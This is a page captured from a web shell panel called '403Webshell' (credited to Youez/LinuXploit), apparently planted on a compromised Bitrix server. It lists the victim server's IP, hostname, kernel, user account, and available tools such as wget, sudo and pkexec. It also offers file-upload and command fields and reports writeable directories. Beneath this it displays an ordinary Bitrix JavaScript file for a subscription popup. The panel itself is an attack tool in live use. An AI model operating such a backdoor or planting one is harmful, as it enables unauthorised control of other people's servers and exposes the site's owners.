403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/rest/market-expired/src/curtain/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/rest/market-expired/src/curtain/market-trial-curtain.js
import { MarketExpiredCurtain } from './market-expired-curtain';
import { Button } from 'ui.buttons';
import { Loc } from 'main.core';
import PopupType from '../type/popup-type';

export class MarketTrialCurtain extends MarketExpiredCurtain
{
	getRightButtons(): []
	{
		return [
			new Button({
				text: Loc.getMessage('REST_MARKET_EXPIRED_POPUP_BUTTON_SUBSCRIBE'),
				size: Button.Size.EXTRA_SMALL,
				color: Button.Color.CURTAIN_WARNING,
				tag: Button.Tag.LINK,
				noCaps: true,
				round: true,
				props: {
					href: this.options.marketSubscriptionUrl,
				},
				onclick: () => super.onRightButtonClick.bind(this),
			}),
		];
	}

	getContent(): string
	{
		return this.options.type === PopupType.FINAL
			? Loc.getMessage(`REST_MARKET_EXPIRED_CURTAIN_TRIAL_FINAL_TEXT${this.marketLabel}`)
			: Loc.getMessage(`REST_MARKET_EXPIRED_CURTAIN_TRIAL_WARNING_TEXT${this.marketLabel}`, {
				'#DAYS#': this.options.expireDays,
			});
	}

	onHide()
	{
		if (this.options.type === PopupType.FINAL)
		{
			BX.userOptions.save('rest', `marketSubscriptionCurtain${this.options.curtainPage}Dismiss`, null, 'Y');
		}
		else
		{
			BX.userOptions.save('rest', `marketSubscriptionCurtain${this.options.curtainPage}Ts`, null, Math.floor(Date.now() / 1000));
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit